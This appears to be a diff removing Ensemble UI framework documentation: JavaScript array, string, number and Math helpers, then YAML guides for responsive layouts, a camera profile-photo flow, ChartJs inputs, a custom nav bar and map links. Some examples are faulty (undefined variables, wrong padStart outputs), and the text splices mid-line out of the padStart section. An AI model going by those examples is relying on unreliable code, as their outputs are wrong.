1, b: 2 }; -var result = propertyIsEnumerable(obj, 'a'); -// result: true -``` - -## Instance Methods -### keys() -Just like the Object.keys() method in javascript. Returns an array containing the keys (propery names) of an object. - -#### Returns -Returns an array containing the keys (propery names) of an object. - -Example - -```js -var headers = {}; -headers['abc'] = 'xyz'; -headers['def'] = 123; -headers['ghi'] = '456'; -var keys = headers.keys(); -keys.forEach(function(key) { - console.log(key + ':' + headers[key]); -}); -/* outputs -abc:xyz -def:123 -ghi:456 -*/ -``` -### values() -Just like the Object.values() method in javascript. Returns an array containing the values (propery values) of an object. - -#### Returns -Returns an array containing the values (propery values) of an object. - -Example - -```js -var headers = {}; -headers['abc'] = 'xyz'; -headers['def'] = 123; -headers['ghi'] = '456'; -headers.values().forEach(function(val) { - console.log(val); -}); -/* outputs -xyz -123 -456 -*/ -``` -### entries() -Just like the Object.entries() method in javascript. Returns an array containing the entries of an object where each entry is an object - {key:,value:} - -#### Returns -Returns an array containing the values (propery values) of an object. - -Example - -```js -var headers = {}; -headers['abc'] = 'xyz'; -headers['def'] = 123; -headers['ghi'] = '456'; -headers.entries().forEach(function(entry) { - console.log(entry.key + ':' + entry.value); -}); -/* outputs -abc:xyz -def:123 -ghi:456 -*/ -``` -### path(jsonPath,mapFunction) -The `path` method is a function that takes a JSON path as a string and an optional mapping function as arguments. The function traverses the object using the provided path and returns a list of the values found at that path. - -The optional mapFunction argument is a function that transforms the values found at the JSON path. If a mapFunction is provided, it is applied to each value found at the path. - -#### Parameters -jsonPath (String): The JSON path at which to look for values.
-mapFunction (Function, optional): A function to transform the values found at the path. This function is called with one argument: a list containing the current value. Pass `null` if not needed - -#### Returns -A list of values found at the specified JSON path. If mapFunction is provided, the list will contain the transformed values. - -Example - -```js -var obj = { - 'name': 'John', - 'age': 30, - 'city': 'New York' -}; - -var result = obj.path('$.name', (val) => val[0].toUpperCase()); -console.log(result); // Outputs: ["J"] -``` -# Array -Arrays behave exactly as they would in regular javascript. You can access an item in the array with the index e.g. `myArray[0]` -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -## Properties -### length -Returns the length of the array. Works exactly like the javascript arrays. - -**Example:** - -```javascript -var numbers = [1, 4, 9]; -console.log(roots.length); // 3 -``` - -## Methods -### map - -The `map()` method creates a new array populated with the results of calling a provided function on every element in the calling array. - -**Parameters:** - -- `callback`: Function that produces an element of the new array, taking two arguments: - - `currentValue`: The current element being processed in the array. - - `index`: The index of the current element being processed in the array. - -**Return value:** - -A new array with each element being the result of the callback function. - -**Example:** - -```javascript -var numbers = [1, 4, 9]; -var squares = numbers.map(function(num, index) { - return num * num; -}); -console.log(squares); // [1, 16, 81] -``` - -### forEach - -Executes a provided function once for each array element. - -**Parameters:** - -- `callback`: Function to execute on each element, taking two arguments: - - `currentValue`: The current element being processed. - - `index`: The index of the current element being processed. - -**Return value:** - -`undefined`. - -**Example:** - -```javascript -var numbers = [1, 2, 3]; -numbers.forEach(function(num, index) { - console.log('Number:', num, 'at index:', index); -}); -``` - -### reduce - -The `reduce()` method executes a reducer function on each element of the array, resulting in a single output value. - -**Parameters:** - -- `callback`: A function to execute on each element in the array (except for the first, if no initialValue is provided), taking four arguments: - - `accumulator`: The accumulator accumulates the callback's return values. - - `currentValue`: The current element being processed. -- `initialValue` (optional): A value to use as the first argument to the first call of the callback. - -**Return value:** - -The single value that results from the reduction. - -**Example:** - -```javascript -var numbers = [1, 2, 3, 4]; -var sum = numbers.reduce(function(total, num) { - return total + num; -}, 0); -console.log(sum); // 10 -``` - -### indexOf - -Returns the first index at which a given element can be found in the array, or -1 if it is not present. - -**Parameters:** - -- `searchElement`: The element to locate in the array. - -**Return value:** - -The first index of the element in the array; -1 if not found. - -**Example:** - -```javascript -var fruits = ['apple', 'banana', 'cantaloupe', 'blueberry']; -var index = fruits.indexOf('banana'); -console.log(index); // 1 -``` - -### join - -Joins all elements of an array into a string. - -**Parameters:** - -- `separator` (optional): Specifies a string to separate each pair of adjacent elements of the array. The separator is converted to a string if necessary. If omitted, the array elements are separated with a comma. - -**Return value:** - -A string with all array elements joined. - -**Example:** - -```javascript -var elements = ['Fire', 'Air', 'Water']; -console.log(elements.join()); // "Fire,Air,Water" -console.log(elements.join('')); // "FireAirWater" -console.log(elements.join('-')); // "Fire-Air-Water" -``` - -### pop - -Removes the last element from an array and returns that element. This method changes the length of the array. - -**Parameters:** - -None. - -**Return value:** - -The removed element from the array; `undefined` if the array is empty. - -**Example:** - -```javascript -var plants = ['broccoli', 'cauliflower', 'cabbage', 'kale', 'tomato']; -console.log(plants.pop()); // "tomato" -console.log(plants); // ["broccoli", "cauliflower", "cabbage", "kale"] -``` - -### push - -Adds one or more elements to the end of an array and returns the new length of the array. - -**Parameters:** - -- `elementN`: The elements to add to the end of the array. - -**Return value:** - -The new length of the array. - -**Example:** - -```javascript -var animals = ['pigs', 'goats', 'sheep']; -var count = animals.push('cows'); -console.log(count); // 4 -console.log(animals); // ["pigs", "goats", "sheep", "cows"] -``` - -### slice - -The `slice()` method returns a shallow copy of a portion of an array into a new array object selected from `start` to `end` (end not included) where `start` and `end` represent the index of items in that array. The original array will not be modified. - -**Parameters:** - -- `start`: Zero-based index at which to start extraction. -- `end` (optional): Zero-based index before which to end extraction. The slice extracts up to but not including `end`. - -**Return value:** - -A new array containing the extracted elements. - -**Example:** - -```javascript -var fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']; -var citrus = fruits.slice(1, 3); -console.log(citrus); // ['Orange', 'Lemon'] -``` - -### some - -The `some()` method tests whether at least one element in the array passes the test implemented by the provided function. It returns a Boolean value. - -**Parameters:** - -- `callback`: Function to test for each element, taking one argument: - - `currentValue`: The current element being processed in the array. - -**Return value:** - -`true` if the callback function returns a truthy value for any array element; otherwise, `false`. - -**Example:** - -```javascript -var array = [1, 2, 3, 4, 5]; -var even = function(element) { - return element % 2 === 0; -}; -console.log(array.some(even)); // true -``` - -### every - -The `every()` method tests whether all elements in the array pass the test implemented by the provided function. It returns a Boolean value. - -**Parameters:** - -- `callback`: Function to test for each element, taking one argument: - - `currentValue`: The current element being processed in the array. - -**Return value:** - -`true` if the callback function returns a truthy value for every array element; otherwise, `false`. - -**Example:** - -```javascript -var isBelowThreshold = function(currentValue) { - return currentValue < 40; -}; -var array = [1, 30, 39, 29, 10, 13]; -console.log(array.every(isBelowThreshold)); // true -``` - -### findIndex - -The `findIndex()` method returns the index of the first element in the array that satisfies the provided testing function. Otherwise, it returns -1, indicating that no element passed the test. - -**Parameters:** - -- `callback`: Function to execute on each value in the array, taking one argument: - - `currentValue`: The current element being processed. - -**Return value:** - -The index of the first element in the array that passes the test; otherwise, -1. - -**Example:** - -```javascript -var array = [5, 12, 8, 130, 44]; -var isLargeNumber = function(element) { - return element > 13; -}; -console.log(array.findIndex(isLargeNumber)); // 3 -``` - -### fill - -The `fill()` method changes all elements in an array to a static value, from a start index (default zero) to an end index (default array.length). It returns the modified array. - -**Parameters:** - -- `value`: Value to fill the array with. -- `start` (optional): Start index, default 0. -- `end` (optional): End index, default array length. - -**Return value:** - -The modified array. - -**Example:** - -```javascript -var array = [1, 2, 3, 4]; -console.log(array.fill(0, 2, 4)); // [1, 2, 0, 0] -console.log(array.fill(5, 1)); // [1, 5, 5, 5] -console.log(array.fill(6)); // [6, 6, 6, 6] -``` - -### shift - -The `shift()` method removes the first element from an array and returns that removed element. This method changes the length of the array. - -**Parameters:** - -None. - -**Return value:** - -The removed element from the array; `null` if the array is empty. - -**Example:** - -```javascript -var myFish = ['angel', 'clown', 'mandarin', 'surgeon']; -console.log('Before:', JSON.stringify(myFish)); -var shifted = myFish.shift(); -console.log('After:', JSON.stringify(myFish)); -console.log('Removed:', shifted); -// Before: ["angel", "clown", "mandarin", "surgeon"] -// After: ["clown", "mandarin", "surgeon"] -// Removed: angel -``` - -### unshift - -The `unshift()` method adds one or more elements to the beginning of an array and returns the new length of the array. - -**Parameters:** - -- `...elements`: The elements to add to the front of the array. - -**Return value:** - -The new length of the array. - -**Example:** - -```javascript -var myArray = [1, 2, 3]; -console.log(myArray.unshift(4, 5)); // 5 -console.log(myArray); // [4, 5, 1, 2, 3] -``` - -### splice - -The `splice()` method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place. - -**Parameters:** - -- `start`: The index at which to start changing the array. -- `deleteCount`: The number of elements in the array to remove from `start`. -- `...items`: The elements to add to the array, beginning from `start`. - -**Return value:** - -An array containing the deleted elements. - -**Example:** - -```javascript -var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; -var removed = myFish.splice(3, 2); -console.log(myFish); // ["angel", "clown", "drum"] -console.log(removed); // ["mandarin", "sturgeon"] -``` - -### find - -The `find()` method returns the value of the first element in the provided array that satisfies the provided testing function. If no values satisfy the testing function, `-1` is returned. - -**Parameters:** - -- `callback`: A function to execute on each value in the array until the function returns true, indicating that the satisfying element was found. - -**Return value:** - -The first element in the array that passes the test; `-1` if no elements pass the test. - -**Example:** - -```javascript -var array = [5, 12, 8, 130, 44]; -var found = array.find(function(element) { - return element > 10; -}); -console.log(found); // 12 -``` - -### includes - -The `includes()` method determines whether an array includes a certain value among its entries, returning true or false as appropriate. - -**Parameters:** - -- `searchElement`: The element to search for. - -**Return value:** - -`true` if the array includes the element, and `false` otherwise. - -**Example:** - -```javascript -var array = [1, 2, 3]; -console.log(array.includes(2)); // true -console.log(array.includes(4)); // false -``` - ---- - -# JavaScript Math -Provides most of the functions exposed by the [Math library](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math) in JS. - -1. **Math.floor()**: - - Returns the largest integer less than or equal to a given number. - ```javascript - console.log(Math.floor(4.7)); // Output: 4 - ``` - -2. **Math.abs()**: - - Returns the absolute value of a number. - ```javascript - console.log(Math.abs(-4.7)); // Output: 4.7 - ``` - -3. **Math.ceil()**: - - Returns the smallest integer greater than or equal to a given number. - ```javascript - console.log(Math.ceil(4.4)); // Output: 5 - ``` - -4. **Math.round()**: - - Rounds a number to the nearest integer. - ```javascript - console.log(Math.round(4.4)); // Output: 4 - ``` - -5. **Math.trunc()**: - - Truncates the decimal part of a number, returning the integer part. - ```javascript - console.log(Math.trunc(4.7)); // Output: 4 - ``` - -6. **Math.log()**: - - Returns the natural logarithm (base e) of a number. - ```javascript - console.log(Math.log(10)); // Output: 2.302585092994046 - ``` - -7. **Math.pow()**: - - Returns the base to the exponent power. - ```javascript - console.log(Math.pow(2, 3)); // Output: 8 - ``` - -8. **Math.acos()**: - - Returns the arccosine (in radians) of a number. - ```javascript - console.log(Math.acos(0.5)); // Output: 1.0471975511965979 - ``` - -9. **Math.asin()**: - - Returns the arcsine (in radians) of a number. - ```javascript - console.log(Math.asin(0.5)); // Output: 0.5235987755982989 - ``` - -10. **Math.atan()**: - - Returns the arctangent (in radians) of a number. - ```javascript - console.log(Math.atan(1)); // Output: 0.7853981633974483 - ``` - -11. **Math.atan2()**: - - Returns the arctangent of the quotient of its arguments. - ```javascript - console.log(Math.atan2(1, 1)); // Output: 0.7853981633974483 - ``` - -12. **Math.cos()**: - - Returns the cosine of a number. - ```javascript - console.log(Math.cos(0)); // Output: 1 - ``` - -13. **Math.exp()**: - - Returns e^x, where x is the argument. - ```javascript - console.log(Math.exp(1)); // Output: 2.718281828459045 - ``` - -14. **Math.max()**: - - Returns the largest of zero or more numbers. - ```javascript - console.log(Math.max(10, 20)); // Output: 20 - ``` - -15. **Math.min()**: - - Returns the smallest of zero or more numbers. - ```javascript - console.log(Math.min(10, 20)); // Output: 10 - ``` - -16. **Math.sin()**: - - Returns the sine of a number. - ```javascript - console.log(Math.sin(0)); // Output: 0 - ``` - -17. **Math.sqrt()**: - - Returns the square root of a number. - ```javascript - console.log(Math.sqrt(9)); // Output: 3 - ``` - -18. **Math.tan()**: - - Returns the tangent of a number. - ```javascript - console.log(Math.tan(0)); // Output: 0 - ``` - -19. **Math.random()**: - - Returns a random number between 0 and 1. - ```javascript - console.log(Math.random()); // Output: a random number between 0 and 1 - ``` - -Each of these functions can be called using the `Math` object followed by the function name and the necessary arguments enclosed in parentheses. - ---- - -# Number Functions - -This document covers JavaScript Number functions available in Ensemble with examples. Each function is briefly explained and followed by an example demonstrating its usage. - -### toFixed - -The `toFixed()` method in JavaScript is used to format a number using fixed-point notation. It takes one argument, which is the number of digits to appear after the decimal point. The method returns a string representation of the number with the specified number of decimal places. - -**Syntax:** - -```javascript -numObj.toFixed(digits); -``` - -**Parameters:** - -- `digits`: An integer specifying the number of digits to appear after the decimal point. This is required unlike in js where it is optional. - -**Example:** - -```javascript -var num = 123.456; -var fixedNum = num.toFixed(2); - -console.log(fixedNum); // Output: "123.46" -``` - -In this example, the `toFixed()` method is called on the `num` variable with the argument `2`. This means that the number will be formatted with two decimal places. The result is the string `"123.46"`. - ---- - -### toString - -The `toString()` method in JavaScript is used to convert a number to a string. It can also be used to represent the number in a different base (radix) by providing an optional argument. - -**Syntax:** - -```javascript -numObj.toString([radix]); -``` - -**Parameters:** - -- `radix` (Optional): An integer between 2 and 36 that represents the base to use for representing numeric values. The default value is 10. - -**Example:** - -```javascript -var num = 42; -var numStr = num.toString(); -var numStrInBase16 = num.toString(16); - -console.log(numStr); // Output: "42" -console.log(numStrInBase16); // Output: "2a" -``` - -In this example, the `toString()` method is called on the `num` variable without any arguments, which means that the number will be converted to a string in base 10 (decimal). The result is the string `"42"`. - -The `toString()` method is then called again on the `num` variable, but this time with the argument `16`. This means that the number will be converted to a string in base 16 (hexadecimal). The result is the string `"2a"`. - ---- - -# String Functions - -This document covers JavaScript String functions available in Ensemble with examples. Each function is briefly explained and followed by an example demonstrating its usage. - -- [Code:String in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/bf9e503e-286b-437a-a692-14d0d5814918) has examples for using the String functions. Copy it into your own app and play around. -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -### length - -The `length` property returns the length of the string - -**Example:** - -```javascript -var str = "Hello"; -var len = str.length; -console.log(len); // 5 -``` - -### indexOf - -The `indexOf()` method returns the index of the first occurrence of the specified value in a string. - -**Example:** - -```javascript -var str = "Hello, world!"; -var index = str.indexOf("world"); -console.log(index); // 7 -``` - -### lastIndexOf - -The `lastIndexOf()` method returns the index of the last occurrence of the specified value in a string. - -**Example:** - -```javascript -var str = "Hello, world! world!"; -var index = str.lastIndexOf("world"); -console.log(index); // 14 -``` - -### charAt - -The `charAt()` method returns the character at the specified index in a string. - -**Example:** - -```javascript -var str = "Hello, world!"; -var char = str.charAt(7); -console.log(char); // 'w' -``` - -### endsWith - -The `endsWith()` method determines whether a string ends with the characters of a specified string. - -**Example:** - -```javascript -var str = "Hello, world!"; -var result = str.endsWith("world!"); -console.log(result); // true -``` - -### includes - -The `includes()` method determines whether a string contains the characters of a specified string. - -**Example:** - -```javascript -var str = "Hello, world!"; -var result = str.includes("world"); -console.log(result); // true -``` - -### toLowerCase - -The `toLowerCase()` method returns the calling string value converted to lowercase. - -**Example:** - -```javascript -var str = "Hello, World!"; -var lowerCaseStr = str.toLowerCase(); -console.log(lowerCaseStr); // "hello, world!" -``` - -### toUpperCase - -The `toUpperCase()` method returns the calling string value converted to uppercase. - -**Example:** - -```javascript -var str = "Hello, World!"; -var upperCaseStr = str.toUpperCase(); -console.log(upperCaseStr); // "HELLO, WORLD!" -``` -### trim -The trim() method removes whitespace from both ends of a string. - -```js -var str = " Hello, world! "; -var result = str.trim(); -console.log(result); // "Hello, world!" -``` -### trimStart -The trimStart() method removes whitespace from the beginning of a string. - -```js -var str = " Hello, world!"; -var result = str.trimStart(); -console.log(result); // "Hello, world!" -``` -### trimEnd -The trimEnd() method removes whitespace from the end of a string. - -```js -var str = "Hello, world! "; -var result = str.trimEnd(); -console.log(result); // "Hello, world!" -``` -### repeat -The `repeat()` method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together. - -```js -var str = "Hello "; -var result = str.repeat(3); -console.log(result); // "Hello Hello Hello " -``` - -### search -The `search()` method executes a search for a match between a regular expression and this String object. - -```js -var str = "Hello, world!"; -var result = str.search(/world/); -console.log(result); // 7 -``` - -### slice -The `slice()` method extracts a section of a string and returns it as a new string, without modifying the original string. - -```js -var str = "Hello, world!"; -var result = str.slice(7, 12); -console.log(result); // "world" -``` - -### substr -The `substr()` method returns a portion of the string, starting at the specified index and extending for a given number of characters afterward. - -```js -var str = "Hello, world!"; -var result = str.substr(7, 5); -console.log(result); // "world" -``` - -### match - -The `match()` method retrieves the result of matching a string against a regular expression and returns null in case there is no match. - -***Note:*** You can specify the regex flags such as i, g, m, s and u. When `g` (global) is specified, the operation will be executed on the whole string. See the following example. - -**Example:** - -```javascript -var str = "Hello, world! world!"; -var regex = /world/; -var result = str.match(regex); -console.log(result); // "world" - -regex = /world/g; //`g` flag has been specified -var result = str.match(regex); //due to the `g` flag, this is the same as String.matchAll -console.log(matches[0]); // "world" -console.log(matches[1]); // "world" -``` - -### matchAll - -The `matchAll()` method returns an array of all the matched strings or an empty array in case there is no match. - -**Example:** - -```javascript -var str = "Hello, world! world!"; -var regex = /world/; -var matches = str.matchAll(regex);//same as specifying the `g` flag in the regex -console.log(matches[0]); // "world" -console.log(matches[1]); // "world" -``` - -### padStart - -The `padStart()` method pads the current string with another string (multiple times, if needed) on the left until the resulting string reaches the given length. - -- If width is already smaller than or equal to `this.length`, no padding is added. A negative `width` is treated as zero. -- The second argument (string to be padded with) is optional. When not specified, space is used for padding -- If padding has length different from 1, the result will not have length width. This may be useful for cases where the padding is a longer string representing a single character, like " " or "\u{10002}". In that case, the user should make sure that this.length is the correct measure of the string's length. - -**Example:** - -```javascript -var str = "world"; -var paddedStr = str.padStart(6, "Hello"); -console.log(paddedStr); // "Helloworld" -paddedStr = str.padStart(10, "Hello"); -console.log(paddedStr); // "HelloHelloHelloHelloHelloworld" -paddedStr = str.padStart(8, "<"); -console.log(paddedStr); // "<< 480 ? 16 : 8 }" -``` - - -## 2. GridView's built-in breakpoints - -[GridView widget](#gridview) includes built-in responsive breakpoints. - -You can pass 1, 3, or 5 values to `horizontalTileCount` property to make the grid responsive based on predefined set of breakpoints. - -| Breakpoint | Width | -| --- | --- | -| xSmall | width <= 480 | -| Small | width > 480 && width <= 800 | -| Medium | width > 800 && width <= 1200 | -| Large | width > 1200 && width <= 1600 | -| XLarge | width > 1600 | - -GridView's horizontalTileCount can be: - -- 1 number - number of tiles for all breakpoints -- 3 numbers - * first number corresponds to xSmall and Small, - * second number corresponds to Medium - * last numner corresponds to xLarge and Large -- 5 numbers, corresponding to each breakpoint - -When not specified, the horizontal tile count is automatic based on resolution. - ---- - -In this example, depending on the available width, there will be 3 to 5 items per row. - -```yaml -GridView: - styles: - horizontalTileCount: 3 4 5 - -# Full example here: -# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/WS6fad3K96prUBXM4Hde -``` - -![Flex](public/images/responsive-grid.png) - -## 3. Wrap content with Flow widget - -[Flow widget](#flow) displays its children horizontally and wraps the children when it runs out of horizontal space. - -```yaml -Flow: - styles: - gap: 16 - lineGap: 16 - children: - - MyItem - -# Full example here: -# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/YbsqXNaXL5kpxKavlGKQ -``` - -![Flow](public/images/responsive-flow.png) - -## 4. Toggle between horizontal and vertical layouts with Flex widget - -[Flex widget](#flex) dynamically switches between a Row or a Column based on the `direction` property. - -```yaml -Flex: - styles: - direction: '${device.width > 500 ? "horizontal" : "vertical"}' - -# Full example here: -# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/jLdWFkmrfgkhuaON568d - -``` - -![Flex](public/images/responsive-flex.png) - ---- - -# Use device's camera for updating profile picture - -This guide shows the typical interaction for updating a user's profile picture in a native app, where user can take a photo or pick an existing image from device's gallery. To see the full example in Ensemble Studio, [click here](https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/P2v4AOS8w3DXfUauqi0Q). - -Here's the experience we'll work toward: - -
- -## 1. Display user image with an icon - -First, call the API that return's user image and pass the value to the Avatar widget. Using styles properties, we can display the avatar as a circle with a border. - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - - body: - Column: - styles: - mainAxis: center - children: - - Avatar: - source: ${getUser.body.results[0].picture.large} - styles: - height: 100 - width: 100 - borderRadius: 100 - borderColor: blue - borderWidth: 2 - margin: 2 - -API: - getUser: - uri: https://randomuser.me/api/?nat=us&randomapi - method: GET -``` - - -To display an icon on top of the avatar, we use a the Stack widget and pass these children, in this order: - -1. Avatar -2. Icon - -The Stack widget renders each child on top of the previous one. By setting `styles.alignChildren` to `bottomRight`, we can achive the following: - - - - -```yaml - - Stack: - styles: - alignChildren: bottomRight - children: - - Avatar: - source: ${getUser.body.results[0].picture.large} - styles: - height: 100 - width: 100 - borderRadius: 100 - borderColor: blue - borderWidth: 2 - margin: 2 - - Icon: - name: camera_line - library: remix - styles: - size: 20 - backgroundColor: white - color: blue - padding: 4 - borderColor: blue - borderRadius: 200 - borderWidth: 2 -``` - - -## 2. onTap, display a bottom sheet - -When user taps the profile image, we want to display a bottom sheet with two buttons: - -
- -To achieve the above, first wrap the Stack widget inside a Column widget so we can add an onTop to the Column. onTap, we use `showBottomModal` action to open a bottom sheet: - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - body: - Column: - styles: - mainAxis: center - crossAxis: stretch - children: - - Column: - styles: - crossAxis: center - onTap: - showBottomModal: - widget: ProfilePhotoOptions - options: - enableDrag: false - children: - - Stack: - # ... -``` - -Note that we're passing a widget named `ProfilePhotoOptions` to be rendered inside the bottom sheet. - -## 3. Add buttons to the bottom sheet - -Let's define the ProfilePhotoOptions widget, which includes two buttons: - -```yaml -ProfilePhotoOptions: - body: - Column: - styles: - crossAxis: stretch - mainAxisSize: min - gap: 24 - padding: 24 24 ${device.safeAreaBottom} 24 - children: - - Button: - label: Take photo - - Button: - label: Pick from gallery - -``` - -Note a few styling configurations: - -1. Buttons are placed inside a Column with `crossAxis: stretch`. This ensures the buttons width will stretch across the screen. -2. This Column also includes `mainAxisSize: min` to ensure the column just takes the space required by the children. -3. For padding, we use 24 on top, right, and left. For bottom padding, we use `${device.safeAreaBottom}` so that depending on the device, enough space is added to the bottom of the column. - - -## 4. Add action to Take Photo buttom - -Here, we use the `openCamera` action with following configurations: - -```yaml - - Button: - label: Take photo - onTap: - openCamera: - id: profilePhoto - options: - default: true - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - enableMicrophone: false - preview: false - maxCount: 1 - mode: photo - onComplete: - # Either upload the photo, or navigate to a screen where user can crop the photo - # for both options, use the id of the action to access the file: ${profilePhoto.files[0].path} - # navigateScreen: - # name: ProfileImageCropper - # inputs: - # newProfileImage: ${profilePhoto.files[0].path} -``` - -This configuration uses the device's native camera functionality, and limits it to one image. - - -## 5. Add action to Pick from Gallery buttom - -Here, we use the `pickFiles` action with following configurations: - -```yaml - - Button: - label: Pick from gallery - styles: - height: 50 - onTap: - pickFiles: - source: gallery - id: filepicker - allowMultiple: false - allowedExtensions: - - png - - jpeg - - jpg - onComplete: - # TODO - you can either use the selected photo, or navigate to a screen where user can crop the photo - # navigateScreen: - # name: ProfileImageCropper - # inputs: - # newProfileImage: ${filepicker.files[0].path} - -``` - -This configuration uses the device's native gallery, and limits it to one image. - ----- - - -To see the full example in Ensemble Studio, [click here](https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/P2v4AOS8w3DXfUauqi0Q). - ---- - -# Inputs to ChartJs - -The ChartJs widget in ensemble may sometime not accept variables in plain ChartJS widget so a better way to go about this is to use Code section in ensemble to define configuration for the ChartJs and there we can easily use the variables ( inputs ). In our example we will look how we use labels passed as inputs to the ChartJs custom widget and use them according to our need. - - -#### Custom Widget - - - -```yaml -Widget: - inputs: - - spending - - categories - - onLoad: | - - //@code - chart.config = { - type: 'doughnut', - data: { - labels: categories, - datasets: [{ - data: [608, 590, 200, 79, 163,231,637,63], - backgroundColor: ['#FCA06B','#C66CFC','#8145FF', '#29CB90', '#4DA9CC','#FCA034',"#8145FA","#814500"], - hoverOffset: 2, - borderWidth: 0 - }] - }, - options: { - aspectRatio: 1, - cutout: 80 , - plugins: { - legend: { - display: false - }, - tooltip: { - enabled: true, - position: "nearest" - } - }, - layout: { - padding: 0 - } - } - }; - - body: - Column: - styles: - gap: 12 - children: - - Row: - styles: { crossAxis: center, mainAxis: center, padding: 20 0 } - children: - - Stack: - styles: { alignChildren: center } - children: - - ChartJs: - id: chart - styles: { width: 200, height: 200 } - - - Column: - styles: { crossAxis: center, gap: 0, mainAxis: center } - children: - - Text: - text: Last 30 days - styles: - textStyle: - color: 0xFF667483 - fontSize: 10 - - Text: - text: "$${spending}" - styles: - textStyle: - color: 0xFF063940 - fontSize: 28 - textAlign: end -``` - -#### Screen Code - - -```yaml -Spendings: - inputs: - spending: ${ensemble.storage.spendingLastDays.toFixed(2)} - categories: ${ensemble.storage.categories} -``` - - -**Output** - -![Alt text](public/images/tips/image-8.png) - - -#### Explanation - -The _categories_ and _spending_ are our inputs passed to this Custom Widget from one of our screens. Categories is an array consisting of string values. This input array is used as a value for **labels** property in the CharJs configuration if you paid close attention to the code for [Custom Widget](#custom-widget). This is how we can pass inputs to ChartJs and make it dynamic. - ---- - -# How to modify the BottomNavBar with custom styling and widgets - -#### Steps - -1. Make a custom widget one for selected state and one for inactive state ( Not selected ). - - - -```yaml -Widget: - inputs: - - name - - icon - - color - - library - body: - Column: - styles: - mainAxis: spaceBetween - crossAxis: center - height: 50 - children: - - Icon: - icon: ${icon} - library: ${library} - styles: - color: ${color} - - Text: - text: ${name} - styles: - fontSize: 12 - color: ${color} -``` - - - -2. similarly for active navigation item . Use these widgets under widget for each item of the BottomNavBar as given. - - - -```yaml -menu: - BottomNavBar: - styles: - backgroundColor: white - items: - - page: Grocery - customItem: - widget: - CustomNavbarItem: - inputs: - name: Home - icon: home - color: 0xFF999999 - library: fontAwesome - selectedWidget: - CustomActiveNavbarItem: - inputs: - name: Home - icon: home - color: 0xFF4CA771 - library: fontAwesome - - page: Grocery - customItem: - widget: - CustomNavbarItem: - inputs: - name: Order - icon: shoppingBag - color: 0xFF999999 - library: fontAwesome - selectedWidget: - CustomActiveNavbarItem: - inputs: - name: Order - icon: shoppingBag - color: 0xFF4CA771 - library: fontAwesome - - page: Grocery - customItem: - widget: - CustomNavbarItem: - inputs: - name: Favourite - icon: heart - color: 0xFF999999 - library: fontAwesome - selectedWidget: - CustomActiveNavbarItem: - inputs: - name: Favourite - icon: solidHeart - color: 0xFF4CA771 - library: fontAwesome - selected: true - - page: Grocery - customItem: - widget: - CustomNavbarItem: - inputs: - name: Cart - icon: shoppingCart - color: 0xFF999999 - library: fontAwesome - selectedWidget: - CustomActiveNavbarItem: - inputs: - name: Cart - icon: shoppingCart - color: 0xFF4CA771 - library: fontAwesome -``` - - ---- - -# Open Maps with Coordinates on Android and iOS - -This guide explains how to open map applications with specific coordinates on Android and iOS devices. The examples demonstrate how to launch Google Maps or Apple Maps, depending on the platform, and also include the ability to use dynamic coordinates input. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/wCU2q0PQnNxmXqN4WyCV) - -## Implementation Overview - -The feature allows users to open their default map application (Google Maps or Apple Maps) with specific coordinates by clicking an icon. Depending on the user's device (Android, iOS, or Web), the appropriate map service will be launched. Additionally, users can enter dynamic coordinates to open any location. - -### Examples - -### Example 1: Open Google Maps with Static Coordinates - -This example demonstrates how to open a specific location in Google Maps using a simple icon click. - -**Sample Coordinates:** -- Latitude: `38.7946` -- Longitude: `106.5348` - -#### UI Layout: - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: Click on the icon to open location on Google Maps - - Row: - styles: - gap: 8 - crossAxis: center - children: - - Text: - text: "Sample Location: 38.7946,106.5348" - styles: - textStyle: - fontSize: 14 - - Icon: - name: locationArrow - library: fontAwesome - color: blue - size: 18 - onTap: - openUrl: - url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) -``` - -#### Action Output Screenshot: - -
-Output Screenshot -

Clicking the icon will open Google Maps with the provided coordinates and label.

-
- - - -### Example 2: Open Apple Maps with Static Coordinates - -This example demonstrates how to open a specific location in Apple Maps. - -#### UI Layout: - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: Click on the icon to open location on Apple Maps - - Row: - styles: - gap: 8 - crossAxis: center - children: - - Text: - text: "Sample Location: 38.7946,106.5348" - styles: - textStyle: - fontSize: 14 - fontWeight: w300 - - Icon: - name: locationArrow - library: fontAwesome - color: blue - size: 18 - onTap: - openUrl: - url: https://maps.apple.com/?ll=38.7946,106.5348&q=Ensemble+Technologies -``` -#### Action Output Screenshot: - -
- Output Screenshot -

Clicking the icon will open Apple Maps with the provided coordinates and label.

-
